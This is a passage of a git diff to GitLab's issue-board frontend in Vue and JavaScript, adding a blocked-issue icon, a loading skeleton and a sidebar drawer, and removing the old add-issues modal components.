isIndexLessThanlimit(index) {
return index < this.limitBeforeCounter;
},
@@ -164,14 +166,12 @@ export default {
<div>
<div class="gl-display-flex" dir="auto">
<h4 class="board-card-title gl-mb-0 gl-mt-0">
- <gl-icon
+ <board-blocked-icon
v-if="item.blocked"
- v-gl-tooltip
- name="issue-block"
- :title="blockedLabel"
- class="issue-blocked-icon gl-mr-2"
- :aria-label="blockedLabel"
- data-testid="issue-blocked-icon"
+ :item="item"
+ :unique-id="`${item.id}${list.id}`"
+ :issuable-type="issuableType"
+ @blocking-issuables-error="setError"
/>
<gl-icon
v-if="item.confidential"
@@ -181,13 +181,9 @@ export default {
class="confidential-icon gl-mr-2"
:aria-label="__('Confidential')"
/>
- <a
- :href="item.path || item.webUrl || ''"
- :title="item.title"
- class="js-no-trigger"
- @mousemove.stop
- >{{ item.title }}</a
- >
+ <a :href="item.path || item.webUrl || ''" :title="item.title" @mousemove.stop>{{
+ item.title
+ }}</a>
</h4>
</div>
<div v-if="showLabelFooter" class="board-card-labels gl-mt-2 gl-display-flex gl-flex-wrap">
diff --git a/app/assets/javascripts/boards/components/board_card_loading_skeleton.vue b/app/assets/javascripts/boards/components/board_card_loading_skeleton.vue
new file mode 100644
index 00000000000..15bff1226a6
--- /dev/null
+++ b/app/assets/javascripts/boards/components/board_card_loading_skeleton.vue
@@ -0,0 +1,26 @@
+<script>
+import { GlSkeletonLoader } from '@gitlab/ui';
+
+export default {
+ name: 'BoardCardLoading',
+ components: {
+ GlSkeletonLoader,
+ },
+};
+</script>
+
+<template>
+ <div
+ class="board-card-skeleton gl-mb-3 gl-bg-white gl-rounded-base gl-p-5 gl-border-1 gl-border-solid gl-border-gray-50"
+ >
+ <div class="board-card-skeleton-inner">
+ <gl-skeleton-loader :width="340" :height="100">
+ <rect width="340" height="16" rx="4" />
+ <rect y="30" width="118" height="16" rx="8" />
+ <rect x="122" y="30" width="130" height="16" rx="8" />
+ <rect y="62" width="38" height="16" rx="4" />
+ <circle cx="320" cy="68" r="16" />
+ </gl-skeleton-loader>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/boards/components/board_content.vue b/app/assets/javascripts/boards/components/board_content.vue
index e9c4237d759..a4b1e6adacf 100644
--- a/app/assets/javascripts/boards/components/board_content.vue
+++ b/app/assets/javascripts/boards/components/board_content.vue
@@ -17,21 +17,20 @@ export default {
gon.features?.graphqlBoardLists || gon.features?.epicBoards
? BoardColumn
: BoardColumnDeprecated,
- BoardContentSidebar: () => import('ee_component/boards/components/board_content_sidebar.vue'),
+ BoardContentSidebar: () => import('~/boards/components/board_content_sidebar.vue'),
+ EpicBoardContentSidebar: () =>
+ import('ee_component/boards/components/epic_board_content_sidebar.vue'),
EpicsSwimlanes: () => import('ee_component/boards/components/epics_swimlanes.vue'),
GlAlert,
},
mixins: [glFeatureFlagMixin()],
+ inject: ['canAdminList'],
props: {
lists: {
type: Array,
required: false,
default: () => [],
},
- canAdminList: {
- type: Boolean,
- required: true,
- },
disabled: {
type: Boolean,
required: true,
@@ -69,7 +68,7 @@ export default {
},
},
methods: {
- ...mapActions(['moveList']),
+ ...mapActions(['moveList', 'unsetError']),
afterFormEnters() {
const el = this.canDragColumns ? this.$refs.list.$el : this.$refs.list;
el.scrollTo({ left: el.scrollWidth, behavior: 'smooth' });
@@ -99,8 +98,8 @@ export default {
</script>
<template>
- <div>
- <gl-alert v-if="error" variant="danger" :dismissible="false">
+ <div v-cloak data-qa-selector="boards_list">
+ <gl-alert v-if="error" variant="danger" :dismissible="true" @dismiss="unsetError">
{{ error }}
</gl-alert>
<component
@@ -127,13 +126,23 @@ export default {
</component>
<epics-swimlanes
- v-else
+ v-else-if="boardListsToUse.length"
ref="swimlanes"
:lists="boardListsToUse"
:can-admin-list="canAdminList"
:disabled="disabled"
/>
- <board-content-sidebar v-if="isSwimlanesOn || glFeatures.graphqlBoardLists" />
+ <board-content-sidebar
+ v-if="isSwimlanesOn || glFeatures.graphqlBoardLists"
+ class="boards-sidebar"
+ data-testid="issue-boards-sidebar"
+ />
+
+ <epic-board-content-sidebar
+ v-else-if="isEpicBoard"
+ class="boards-sidebar"
+ data-testid="epic-boards-sidebar"
+ />
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_content_sidebar.vue b/app/assets/javascripts/boards/components/board_content_sidebar.vue
new file mode 100644
index 00000000000..46359cc2bca
--- /dev/null
+++ b/app/assets/javascripts/boards/components/board_content_sidebar.vue
@@ -0,0 +1,96 @@
+<script>
+import { GlDrawer } from '@gitlab/ui';
+import { mapState, mapActions, mapGetters } from 'vuex';
+import BoardSidebarDueDate from '~/boards/components/sidebar/board_sidebar_due_date.vue';
+import BoardSidebarLabelsSelect from '~/boards/components/sidebar/board_sidebar_labels_select.vue';
+import BoardSidebarMilestoneSelect from '~/boards/components/sidebar/board_sidebar_milestone_select.vue';
+import BoardSidebarSubscription from '~/boards/components/sidebar/board_sidebar_subscription.vue';
+import BoardSidebarTimeTracker from '~/boards/components/sidebar/board_sidebar_time_tracker.vue';
+import BoardSidebarTitle from '~/boards/components/sidebar/board_sidebar_title.vue';
+import { ISSUABLE } from '~/boards/constants';
+import { contentTop } from '~/lib/utils/common_utils';
+import SidebarAssigneesWidget from '~/sidebar/components/assignees/sidebar_assignees_widget.vue';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+
+export default {
+ headerHeight: `${contentTop()}px`,
+ components: {
+ GlDrawer,
+ BoardSidebarTitle,
+ SidebarAssigneesWidget,
+ BoardSidebarTimeTracker,
+ BoardSidebarLabelsSelect,
+ BoardSidebarDueDate,
+ BoardSidebarSubscription,
+ BoardSidebarMilestoneSelect,
+ BoardSidebarEpicSelect: () =>
+ import('ee_component/boards/components/sidebar/board_sidebar_epic_select.vue'),
+ BoardSidebarWeightInput: () =>
+ import('ee_component/boards/components/sidebar/board_sidebar_weight_input.vue'),
+ SidebarIterationWidget: () =>
+ import('ee_component/sidebar/components/sidebar_iteration_widget.vue'),
+ },
+ mixins: [glFeatureFlagsMixin()],
+ computed: {
+ ...mapGetters([
+ 'isSidebarOpen',
+ 'activeBoardItem',
+ 'groupPathForActiveIssue',
+ 'projectPathForActiveIssue',
+ ]),
+ ...mapState(['sidebarType', 'issuableType']),
+ isIssuableSidebar() {
+ return this.sidebarType === ISSUABLE;
+ },
+ showSidebar() {
+ return this.isIssuableSidebar && this.isSidebarOpen;
+ },
+ fullPath() {
+ return this.activeBoardItem?.referencePath?.split('#')[0] || '';
+ },
+ },
+ methods: {
+ ...mapActions(['toggleBoardItem', 'setAssignees']),
+ handleClose() {
+ this.toggleBoardItem({ boardItem: this.activeBoardItem, sidebarType: this.sidebarType });
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-drawer
+ v-if="showSidebar"
+ :open="isSidebarOpen"
+ :header-height="$options.headerHeight"
+ @close="handleClose"
+ >
+ <template #header>{{ __('Issue details') }}</template>
+ <template #default>
+ <board-sidebar-title />
+ <sidebar-assignees-widget
+ :iid="activeBoardItem.iid"
+ :full-path="fullPath"
+ :initial-assignees="activeBoardItem.assignees"
+ class="assignee"
+ @assignees-updated="setAssignees"
+ />
+ <board-sidebar-epic-select class="epic" />
+ <div>
+ <board-sidebar-milestone-select />
+ <sidebar-iteration-widget
+ :iid="activeBoardItem.iid"
+ :workspace-path="projectPathForActiveIssue"
+ :iterations-workspace-path="groupPathForActiveIssue"
+ :issuable-type="issuableType"
+ class="gl-mt-5"
+ />
+ </div>
+ <board-sidebar-time-tracker class="swimlanes-sidebar-time-tracker" />
+ <board-sidebar-due-date />
+ <board-sidebar-labels-select class="labels" />
+ <board-sidebar-weight-input v-if="glFeatures.issueWeights" class="weight" />
+ <board-sidebar-subscription class="subscriptions" />
+ </template>
+ </gl-drawer>
+</template>
diff --git a/app/assets/javascripts/boards/components/board_extra_actions.vue b/app/assets/javascripts/boards/components/board_extra_actions.vue
deleted file mode 100644
index b802ccc7882..00000000000
--- a/app/assets/javascripts/boards/components/board_extra_actions.vue
+++ /dev/null
@@ -1,57 +0,0 @@
-<script>
-import { GlTooltip, GlButton } from '@gitlab/ui';
-import { __ } from '~/locale';
-
-export default {
- name: 'BoardExtraActions',
- components: {
- GlTooltip,
- GlButton,
- },
- props: {
- canAdminList: {
- type: Boolean,
- required: true,
- },
- disabled: {
- type: Boolean,
- required: true,
- },
- openModal: {
- type: Function,
- required: true,
- },
- },
- computed: {
- tooltipTitle() {
- if (this.disabled) {
- return __('Please add a list to your board first');
- }
-
- return '';
- },
- },
-};
-</script>
-
-<template>
- <div class="board-extra-actions">
- <span ref="addIssuesButtonTooltip" class="gl-ml-3">
- <gl-button
- v-if="canAdminList"
- type="button"
- data-placement="bottom"
- data-track-event="click_button"
- data-track-label="board_add_issues"
- :disabled="disabled"
- :aria-disabled="disabled"
- @click="openModal"
- >
- {{ __('Add issues') }}
- </gl-button>
- </span>
- <gl-tooltip v-if="disabled" :target="() => $refs.addIssuesButtonTooltip" placement="bottom">
- {{ tooltipTitle }}
- </gl-tooltip>
- </div>
-</template>
diff --git a/app/assets/javascripts/boards/components/board_form.vue b/app/assets/javascripts/boards/components/board_form.vue
index d8504dcfb0f..78da4137d69 100644
--- a/app/assets/javascripts/boards/components/board_form.vue
+++ b/app/assets/javascripts/boards/components/board_form.vue
@@ -107,7 +107,7 @@ export default {
};
},
computed: {
- ...mapGetters(['isEpicBoard', 'isGroupBoard', 'isProjectBoard']),
+ ...mapGetters(['isIssueBoard', 'isGroupBoard', 'isProjectBoard']),
isNewForm() {
return this.currentPage === formType.new;
},
@@ -127,7 +127,7 @@ export default {
if (this.isDeleteForm) {
return 'danger';
}
- return 'info';
+ return 'confirm';
},
title() {
if (this.readonly) {
@@ -163,6 +163,9 @@ export default {
currentMutation() {
return this.board.id ? updateBoardMutation : createBoardMutation;
},
+ deleteMutation() {
+ return destroyBoardMutation;
+ },
baseMutationVariables() {
const { board } = this;
const variables = {
@@ -182,7 +185,7 @@ export default {
groupPath: this.isGroupBoard ? this.fullPath : undefined,
};
},
- boardScopeMutationVariables() {
+ issueBoardScopeMutationVariables() {
/* eslint-disable @gitlab/require-i18n-strings */
return {
weight: this.board.weight,
@@ -193,13 +196,18 @@ export default {
this.board.milestone?.id || this.board.milestone?.id === 0
? convertToGraphQLId('Milestone', this.board.milestone.id)
: null,
- labelIds: this.board.labels.map(fullLabelId),
iterationId: this.board.iteration_id
? convertToGraphQLId('Iteration', this.board.iteration_id)
: null,
};
/* eslint-enable @gitlab/require-i18n-strings */
},
+ boardScopeMutationVariables() {
+ return {
+ labelIds: this.board.labels.map(fullLabelId),
+ ...(this.isIssueBoard && this.issueBoardScopeMutationVariables),
+ };
+ },
mutationVariables() {
return {
...this.baseMutationVariables,
@@ -239,17 +247,20 @@ export default {
return this.boardUpdateResponse(response.data);
},
+ async deleteBoard() {
+ await this.$apollo.mutate({
+ mutation: this.deleteMutation,
+ variables: {
+ id: fullBoardId(this.board.id),
+ },
+ });
+ },
async submit() {
if (this.board.name.length === 0) return;
this.isLoading = true;
if (this.isDeleteForm) {
try {
- await this.$apollo.mutate({
- mutation: destroyBoardMutation,
- variables: {
- id: fullBoardId(this.board.id),
- },
- });
+ await this.deleteBoard();
visitUrl(this.rootPath);
} catch {
Flash(this.$options.i18n.deleteErrorMessage);
@@ -324,7 +335,7 @@ export default {
/>
<board-scope
- v-if="scopedIssueBoardFeatureEnabled && !isEpicBoard"
+ v-if="scopedIssueBoardFeatureEnabled"
:collapse-scope="isNewForm"
:board="board"
:can-admin-board="canAdminBoard"
diff --git a/app/assets/javascripts/boards/components/board_list.vue b/app/assets/javascripts/boards/components/board_list.vue
index ae8434be312..94e29f3ad86 100644
--- a/app/assets/javascripts/boards/components/board_list.vue
+++ b/app/assets/javascripts/boards/components/board_list.vue
@@ -190,7 +190,7 @@ export default {
}
this.moveItem({
- itemId,
+ itemId: Number(itemId),
itemIid,
itemPath,
fromListId: from.dataset.listId,
diff --git a/app/assets/javascripts/boards/components/board_list_deprecated.vue b/app/assets/javascripts/boards/components/board_list_deprecated.vue
index d59fbcc1b31..0534e027c86 100644
--- a/app/assets/javascripts/boards/components/board_list_deprecated.vue
+++ b/app/assets/javascripts/boards/components/board_list_deprecated.vue
@@ -134,9 +134,10 @@ export default {
e.target.closest('.js-board-list') || e.target.querySelector('.js-board-list');
const toBoardType = containerEl.dataset.boardType;
const cloneActions = {
- label: ['milestone', 'assignee'],
- assignee: ['milestone', 'label'],
- milestone: ['label', 'assignee'],
+ label: ['milestone', 'assignee', 'iteration'],
+ assignee: ['milestone', 'label', 'iteration'],
+ milestone: ['label', 'assignee', 'iteration'],
+ iteration: ['label', 'assignee', 'milestone'],
};
if (toBoardType) {
diff --git a/app/assets/javascripts/boards/components/board_list_header.vue b/app/assets/javascripts/boards/components/board_list_header.vue
index 6ccaec4a633..ca66ad6934a 100644
--- a/app/assets/javascripts/boards/components/board_list_header.vue
+++ b/app/assets/javascripts/boards/components/board_list_header.vue
@@ -328,6 +328,7 @@ export default {
<div
class="issue-count-badge gl-display-inline-flex gl-pr-0 no-drag gl-text-gray-500"
+ data-testid="issue-count-badge"
:class="{
'gl-display-none!': list.collapsed && isSwimlanesHeader,
'gl-p-0': list.collapsed,
diff --git a/app/assets/javascripts/boards/components/board_new_issue.vue b/app/assets/javascripts/boards/components/board_new_issue.vue
index a81c28733cd..144cae15ab3 100644
--- a/app/assets/javascripts/boards/components/board_new_issue.vue
+++ b/app/assets/javascripts/boards/components/board_new_issue.vue
@@ -2,23 +2,23 @@
import { GlButton } from '@gitlab/ui';
import { mapActions, mapGetters, mapState } from 'vuex';
import { getMilestone } from 'ee_else_ce/boards/boards_util';
+import BoardNewIssueMixin from 'ee_else_ce/boards/mixins/board_new_issue';
import { __ } from '~/locale';
-import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import eventHub from '../eventhub';
import ProjectSelect from './project_select.vue';
export default {
name: 'BoardNewIssue',
i18n: {
- submit: __('Submit issue'),
+ submit: __('Create issue'),
cancel: __('Cancel'),
},
components: {
ProjectSelect,
GlButton,
},
- mixins: [glFeatureFlagMixin()],
- inject: ['groupId', 'weightFeatureAvailable', 'boardWeight'],
+ mixins: [BoardNewIssueMixin],
+ inject: ['groupId'],
props: {
list: {
type: Object,
@@ -53,14 +53,11 @@ export default {
submit(e) {
e.preventDefault();
+ const { title } = this;
const labels = this.list.label ? [this.list.label] : [];
const assignees = this.list.assignee ? [this.list.assignee] : [];
const milestone = getMilestone(this.list);
- const weight = this.weightFeatureAvailable ? this.boardWeight : undefined;
-
- const { title } = this;
-
eventHub.$emit(`scroll-board-list-${this.list.id}`);
return this.addListNewIssue({
@@ -70,7 +67,7 @@ export default {
assigneeIds: assignees?.map((a) => a?.id),
milestoneId: milestone?.id,
projectPath: this.selectedProject.fullPath,
- weight: weight >= 0 ? weight : null,
+ ...this.extraIssueInput(),
},
list: this.list,
}).then(() => {
diff --git a/app/assets/javascripts/boards/components/board_new_issue_deprecated.vue b/app/assets/javascripts/boards/components/board_new_issue_deprecated.vue
index 16f23dfff0e..1218941065f 100644
--- a/app/assets/javascripts/boards/components/board_new_issue_deprecated.vue
+++ b/app/assets/javascripts/boards/components/board_new_issue_deprecated.vue
@@ -121,7 +121,7 @@ export default {
variant="success"
category="primary"
type="submit"
- >{{ __('Submit issue') }}</gl-button
+ >{{ __('Create issue') }}</gl-button
>
<gl-button
ref="cancelButton"
diff --git a/app/assets/javascripts/boards/components/board_settings_sidebar.vue b/app/assets/javascripts/boards/components/board_settings_sidebar.vue
index 7cfedad0aed..997655c346a 100644
--- a/app/assets/javascripts/boards/components/board_settings_sidebar.vue
+++ b/app/assets/javascripts/boards/components/board_settings_sidebar.vue
@@ -22,13 +22,7 @@ export default {
import('ee_component/boards/components/board_settings_list_types.vue'),
},
mixins: [glFeatureFlagMixin()],
- props: {
- canAdminList: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
+ inject: ['canAdminList'],
data() {
return {
ListType,
diff --git a/app/assets/javascripts/boards/components/config_toggle.vue b/app/assets/javascripts/boards/components/config_toggle.vue
index 7ec99e51f5b..fdb60d0ae6a 100644
--- a/app/assets/javascripts/boards/components/config_toggle.vue
+++ b/app/assets/javascripts/boards/components/config_toggle.vue
@@ -15,7 +15,8 @@ export default {
props: {
boardsStore: {
type: Object,
- required: true,
+ required: false,
+ default: null,
},
canAdminList: {
type: Boolean,
@@ -26,11 +27,6 @@ export default {
required: true,
},
},
- data() {
- return {
- state: this.boardsStore.state,
- };
- },
computed: {
buttonText() {
return this.canAdminList ? s__('Boards|Edit board') : s__('Boards|View scope');
@@ -42,7 +38,9 @@ export default {
methods: {
showPage() {
eventHub.$emit('showBoardModal', formType.edit);
- return this.boardsStore.showPage(formType.edit);
+ if (this.boardsStore) {
+ this.boardsStore.showPage(formType.edit);
+ }
},
},
};
diff --git a/app/assets/javascripts/boards/components/filtered_search.vue b/app/assets/javascripts/boards/components/filtered_search.vue
deleted file mode 100644
index 8505ea39a6b..00000000000
--- a/app/assets/javascripts/boards/components/filtered_search.vue
+++ /dev/null
@@ -1,54 +0,0 @@
-<script>
-import { mapActions } from 'vuex';
-import { historyPushState } from '~/lib/utils/common_utils';
-import { setUrlParams } from '~/lib/utils/url_utility';
-import { __ } from '~/locale';
-import FilteredSearch from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
-
-export default {
- i18n: {
- search: __('Search'),
- },
- components: { FilteredSearch },
- props: {
- search: {
- type: String,
- required: false,
- default: '',
- },
- },
- computed: {
- initialSearch() {
- return [{ type: 'filtered-search-term', value: { data: this.search } }];
- },
- },
- methods: {
- ...mapActions(['performSearch']),
- handleSearch(filters) {
- let itemValue = '';
- const [item] = filters;
-
- if (filters.length === 0) {
- itemValue = '';
- } else {
- itemValue = item?.value?.data;
- }
-
- historyPushState(setUrlParams({ search: itemValue }, window.location.href));
-
- this.performSearch();
- },
- },
-};
-</script>
-
-<template>
- <filtered-search
- class="gl-w-full"
- namespace=""
- :tokens="[]"
- :search-input-placeholder="$options.i18n.search"
- :initial-filter-value="initialSearch"
- @onFilter="handleSearch"
- />
-</template>
diff --git a/app/assets/javascripts/boards/components/modal/empty_state.vue b/app/assets/javascripts/boards/components/modal/empty_state.vue
deleted file mode 100644
index 486b012e3d2..00000000000
--- a/app/assets/javascripts/boards/components/modal/empty_state.vue
+++ /dev/null
@@ -1,84 +0,0 @@
-<script>
-import { GlButton, GlSprintf } from '@gitlab/ui';
-import { __ } from '~/locale';
-import modalMixin from '../../mixins/modal_mixins';
-import ModalStore from '../../stores/modal_store';
-
-export default {
- components: {
- GlButton,
- GlSprintf,
- },
- mixins: [modalMixin],
- props: {
- newIssuePath: {
- type: String,
- required: true,
- },
- emptyStateSvg: {
- type: String,
- required: true,
- },
- },
- data() {
- return ModalStore.store;
- },
- computed: {
- contents() {
- const obj = {
- title: __("You haven't added any issues to your project yet"),
- content: __(
- 'An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable.',
- ),
- };
-
- if (this.activeTab === 'selected') {
- obj.title = __("You haven't selected any issues yet");
- obj.content = __(
- 'Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board.',
- );
- }
-
- return obj;
- },
- },
-};
-</script>
-
-<template>
- <section class="empty-state d-flex mt-0 h-100">
- <div class="row w-100 my-auto mx-0">
- <div class="col-12 col-md-6 order-md-last">
- <aside class="svg-content d-none d-md-block"><img :src="emptyStateSvg" /></aside>
- </div>
- <div class="col-12 col-md-6 order-md-first">
- <div class="text-content">
- <h4>{{ contents.title }}</h4>
- <p>
- <gl-sprintf :message="contents.content">
- <template #tag="{ content }">
- <strong>{{ content }}</strong>
- </template>
- </gl-sprintf>
- </p>
- <gl-button
- v-if="activeTab === 'all'"
- :href="newIssuePath"
- category="secondary"
- variant="success"
- >
- {{ __('New issue') }}
- </gl-button>
- <gl-button
- v-if="activeTab === 'selected'"
- category="primary"
- variant="default"
- @click="changeTab('all')"
- >
- {{ __('Open issues') }}
- </gl-button>
- </div>
- </div>
- </div>
- </section>
-</template>
diff --git a/app/assets/javascripts/boards/components/modal/filters.js b/app/assets/javascripts/boards/components/modal/filters.js
deleted file mode 100644
index 2fb38a549f3..00000000000
--- a/app/assets/javascripts/boards/components/modal/filters.js
+++ /dev/null
@@ -1,27 +0,0 @@
-import FilteredSearchContainer from '../../../filtered_search/container';
-import FilteredSearchBoards from '../../filtered_search_boards';
-
-export default {
- name: 'modal-filters',
- props: {
- store: {
- type: Object,
- required: true,
- },
- },
- mounted() {
- FilteredSearchContainer.container = this.$el;
-
- this.filteredSearch = new FilteredSearchBoards(this.store);
- this.filteredSearch.setup();
- this.filteredSearch.removeTokens();
- this.filteredSearch.handleInputPlaceholder();
- this.filteredSearch.toggleClearSearchButton();
- },
- destroyed() {
- this.filteredSearch.cleanup();
- FilteredSearchContainer.container = document;
- this.store.path = '';
- },
- template: '#js-board-modal-filter',
-};
diff --git a/app/assets/javascripts/boards/components/modal/footer.vue b/app/assets/javascripts/boards/components/modal/footer.vue
deleted file mode 100644
index 05e1219bc70..00000000000
--- a/app/assets/javascripts/boards/components/modal/footer.vue
+++ /dev/null
@@ -1,80 +0,0 @@
-<script>
-import { GlButton } from '@gitlab/ui';
-import footerEEMixin from 'ee_else_ce/boards/mixins/modal_footer';
-import { deprecatedCreateFlash as Flash } from '../../../flash';
-import { __, n__ } from '../../../locale';
-import modalMixin from '../../mixins/modal_mixins';
-import boardsStore from '../../stores/boards_store';
-import ModalStore from '../../stores/modal_store';
-import ListsDropdown from './lists_dropdown.vue';
-
-export default {
- components: {
- ListsDropdown,
- GlButton,
- },
- mixins: [modalMixin, footerEEMixin],
- data() {
- return {
- modal: ModalStore.store,
- state: boardsStore.state,
- };
- },
- computed: {
- submitDisabled() {
- return !ModalStore.selectedCount();
- },
- submitText() {
- const count = ModalStore.selectedCount();
- if (!count) return __('Add issues');
- return n__(`Add %d issue`, `Add %d issues`, count);
- },
- },
- methods: {
- buildUpdateRequest(list) {
- return {
- add_label_ids: [list.label.id],
- };
- },
- addIssues() {
- const firstListIndex = 1;
- const list = this.modal.selectedList || this.state.lists[firstListIndex];
- const selectedIssues = ModalStore.getSelectedIssues();
- const issueIds = selectedIssues.map((issue) => issue.id);
- const req = this.buildUpdateRequest(list);
-
- // Post the data to the backend
- boardsStore.bulkUpdate(issueIds, req).catch(() => {
- Flash(__('Failed to update issues, please try again.'));
-
- selectedIssues.forEach((issue) => {
- list.removeIssue(issue);
- list.issuesSize -= 1;
- });
- });
-
- // Add the issues on the frontend
- selectedIssues.forEach((issue) => {
- list.addIssue(issue);
- list.issuesSize += 1;
- });
-
- this.toggleModal(false);
- },
- },
-};
-</script>
-<template>
- <footer class="form-actions add-issues-footer">
- <div class="float-left">
- <gl-button :disabled="submitDisabled" category="primary" variant="success" @click="addIssues">
- {{ submitText }}
- </gl-button>
- <span class="inline add-issues-footer-to-list">{{ __('to list') }}</span>
- <lists-dropdown />
- </div>
- <gl-button class="float-right" @click="toggleModal(false)">
- {{ __('Cancel') }}
- </gl-button>
- </footer>
-</template>
diff --git a/app/assets/javascripts/boards/components/modal/header.vue b/app/assets/javascripts/boards/components/modal/header.vue
deleted file mode 100644
index c3a71e7177a..00000000000
--- a/app/assets/javascripts/boards/components/modal/header.vue
+++ /dev/null
@@ -1,80 +0,0 @@
-<script>
-/* eslint-disable @gitlab/vue-require-i18n-strings */
-import { GlButton } from '@gitlab/ui';
-import { __ } from '~/locale';
-import modalMixin from '../../mixins/modal_mixins';
-import ModalStore from '../../stores/modal_store';
-import ModalFilters from './filters';
-import ModalTabs from './tabs.vue';
-
-export default {
- components: {
- ModalTabs,
- ModalFilters,
- GlButton,
- },
- mixins: [modalMixin],
- props: {
- projectId: {
- type: Number,
- required: true,
- },
- labelPath: {
- type: String,
- required: true,
- },
- },
- data() {
- return ModalStore.store;
- },
- computed: {
- selectAllText() {
- if (ModalStore.selectedCount() !== this.issues.length || this.issues.length === 0) {
- return __('Select all');
- }
-
- return __('Deselect all');
- },
- showSearch() {
- return this.activeTab === 'all' && !this.loading && this.issuesCount > 0;
- },
- },
- methods: {
- toggleAll() {
- this.$refs.selectAllBtn.$el.blur();
-
- ModalStore.toggleAll();
- },
- },
-};
-</script>
-<template>
- <div>
- <header class="add-issues-header border-top-0 form-actions">
- <h2 class="m-0">
- Add issues
- <gl-button
- category="tertiary"
- icon="close"
- class="close"
- data-dismiss="modal"
- :aria-label="__('Close')"
- @click="toggleModal(false)"
- />
- </h2>
- </header>
- <modal-tabs v-if="!loading && issuesCount > 0" />
- <div v-if="showSearch" class="d-flex gl-mb-3">
- <modal-filters :store="filter" />
- <gl-button
- ref="selectAllBtn"
- category="secondary"
- variant="success"
- class="gl-ml-3"
- @click="toggleAll"
- >
- {{ selectAllText }}
- </gl-button>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/boards/components/modal/index.vue b/app/assets/javascripts/boards/components/modal/index.vue
deleted file mode 100644
index 5af90c1ee66..00000000000
--- a/app/assets/javascripts/boards/components/modal/index.vue
+++ /dev/null
@@ -1,151 +0,0 @@
-<script>
-/* global ListIssue */
-import { GlLoadingIcon } from '@gitlab/ui';
-import boardsStore from '~/boards/stores/boards_store';
-import { urlParamsToObject } from '~/lib/utils/common_utils';
-import ModalStore from '../../stores/modal_store';
-import EmptyState from './empty_state.vue';
-import ModalFooter from './footer.vue';
-import ModalHeader from './header.vue';
-import ModalList from './list.vue';
-
-export default {
- components: {
- EmptyState,
- ModalHeader,
- ModalList,
- ModalFooter,
- GlLoadingIcon,
- },
- props: {
- newIssuePath: {
- type: String,
- required: true,
- },
- emptyStateSvg: {
- type: String,
- required: true,
- },
- projectId: {
- type: Number,
- required: true,
- },
- labelPath: {
- type: String,
- required: true,
- },
- },
- data() {
- return ModalStore.store;
- },
- computed: {
- showList() {
- if (this.activeTab === 'selected') {
- return this.selectedIssues.length > 0;
- }
-
- return this.issuesCount > 0;
- },
- showEmptyState() {
- if (!this.loading && this.issuesCount === 0) {
- return true;
- }
-
- return this.activeTab === 'selected' && this.selectedIssues.length === 0;
- },
- },
- watch: {
- page() {
- this.loadIssues();
- },
- showAddIssuesModal() {
- if (this.showAddIssuesModal && !this.issues.length) {
- this.loading = true;
- const loadingDone = () => {
- this.loading = false;
- };
-
- this.loadIssues().then(loadingDone).catch(loadingDone);
- } else if (!this.showAddIssuesModal) {
- this.issues = [];
- this.selectedIssues = [];
- this.issuesCount = false;
- }
- },
- filter: {
- handler() {
- if (this.$el.tagName) {
- this.page = 1;
- this.filterLoading = true;
- const loadingDone = () => {
- this.filterLoading = false;
- };
-
- this.loadIssues(true).then(loadingDone).catch(loadingDone);
- }
- },
- deep: true,
- },
- },
- created() {
- this.page = 1;
- },
- methods: {
- loadIssues(clearIssues = false) {
- if (!this.showAddIssuesModal) return false;
-
- return boardsStore
- .getBacklog({
- ...urlParamsToObject(this.filter.path),
- page: this.page,
- per: this.perPage,
- })
- .then((res) => res.data)
- .then((data) => {
- if (clearIssues) {
- this.issues = [];
- }
-
- data.issues.forEach((issueObj) => {
- const issue = new ListIssue(issueObj);
- const foundSelectedIssue = ModalStore.findSelectedIssue(issue);
- issue.selected = Boolean(foundSelectedIssue);
-
- this.issues.push(issue);
- });
-
- this.loadingNewPage = false;
-
- if (!this.issuesCount) {
- this.issuesCount = data.size;
- }
- })
- .catch(() => {
- // TODO: handle request error
- });
- },
- },
-};
-</script>
-<template>
- <div
- v-if="showAddIssuesModal"
- class="add-issues-modal d-flex position-fixed position-top-0 position-bottom-0 position-left-0 position-right-0 h-100"
- >
- <div class="add-issues-container d-flex flex-column m-auto rounded">
- <modal-header :project-id="projectId" :label-path="labelPath" />
- <modal-list v-if="!loading && showList && !filterLoading" :empty-state-svg="emptyStateSvg" />
- <empty-state
- v-if="showEmptyState"
- :new-issue-path="newIssuePath"
- :empty-state-svg="emptyStateSvg"
- />
- <section v-if="loading || filterLoading" class="add-issues-list d-flex h-100 text-center">
- <div class="add-issues-list-loading w-100 align-self-center">
- <gl-loading-icon size="md" />
- </div>
- </section>
- <modal-footer />
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/boards/components/modal/list.vue b/app/assets/javascripts/boards/components/modal/list.vue
deleted file mode 100644
index e66cae0ce18..00000000000
--- a/app/assets/javascripts/boards/components/modal/list.vue
+++ /dev/null
@@ -1,141 +0,0 @@
-<script>
-import { GlIcon } from '@gitlab/ui';
-import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
-import ModalStore from '../../stores/modal_store';
-import BoardCardInner from '../board_card_inner.vue';
-
-export default {
- components: {
- BoardCardInner,
- GlIcon,
- },
- props: {
- emptyStateSvg: {
- type: String,
- required: true,
- },
- },
- data() {
- return ModalStore.store;
- },
- computed: {
- loopIssues() {
- if (this.activeTab === 'all') {
- return this.issues;
- }
-
- return this.selectedIssues;
- },
- groupedIssues() {
- const groups = [];
- this.loopIssues.forEach((issue, i) => {
- const index = i % this.columns;
-
- if (!groups[index]) {
- groups.push([]);
- }
-
- groups[index].push(issue);
- });
-
- return groups;
- },
- },
- watch: {
- activeTab() {
- if (this.activeTab === 'all') {
- ModalStore.purgeUnselectedIssues();
- }
- },
- },
- mounted() {
- this.scrollHandlerWrapper = this.scrollHandler.bind(this);
- this.setColumnCountWrapper = this.setColumnCount.bind(this);
- this.setColumnCount();
-
- this.$refs.list.addEventListener('scroll', this.scrollHandlerWrapper);
- window.addEventListener('resize', this.setColumnCountWrapper);
- },
- beforeDestroy() {
- this.$refs.list.removeEventListener('scroll', this.scrollHandlerWrapper);
- window.removeEventListener('resize', this.setColumnCountWrapper);
